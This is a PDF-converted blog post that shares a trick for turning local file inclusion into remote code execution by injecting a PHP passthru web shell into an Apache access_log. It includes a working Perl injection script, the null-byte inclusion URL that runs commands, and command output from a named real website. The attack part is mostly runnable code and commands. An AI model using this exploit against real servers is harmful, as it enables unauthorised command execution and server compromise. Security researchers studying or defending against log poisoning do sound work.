LFI To RCE Via Access - Log Injection PDF
LFI To RCE Via Access - Log Injection PDF
LFI To RCE Via Access - Log Injection PDF
NoGe Follow
Jun 6, 2017 · 2 min read
Hi guys
Just wanna share a trick from Local File Inclusion/File Path Traversal to
Remote Code Execution by injecting the access_log.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Now change with /etc/httpd/conf/httpd.conf. Not all httpd.conf path is
here. To nd the access_log location you need to nd httpd.conf rst.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
View source (ctrl+u) for a better view of their httpd.conf.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Open the le called access_log. In this case
/home/pro_99/proqualitycontrol.com/access_log.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
My friend @paceander coded this perl script to inject the access_log.
#!/usr/bin/perl -w
use IO::Socket::INET;
my $host = $ARGV[0];
my $port = $ARGV[1];
my $rce = “<?if(get_magic_quotes_gpc()){
\$_GET[cmd]=stripslashes(\$_GET[cmd]);} passthru(\$_GET[cmd]);?
>”;
$sock = IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$port,
Proto=>”tcp”) || die “Cant connect to $host:$port!\n”;
print $sock “GET /v0pcr3w “.$rce.” HTTP/1.1\r\n”;
print $sock “Host: “.$host.”\r\n”;
print $sock “Connection: close\r\n\r\n”;
close($sock);
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
print “*** Done!\n\n”;
Open the access_log again and search for v0pcr3w. If the word is there then
we’ve successfully injected the access_log.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Now run this line to execute command on server
/home/pro_99/proqualitycontrol.com/access_log%00&cmd=id and
you’ll see the “id” command executed.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Our command executed successfully GET /v0pcr3w uid=48(apache)
gid=48(apache) groups=48(apache),500(webadmin).
Note: The web administrator has been noti ed about this vulnerability.
406 claps
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
WRITTEN BY
NoGe Follow
researcher | #mufc
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Related reads
Related reads
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD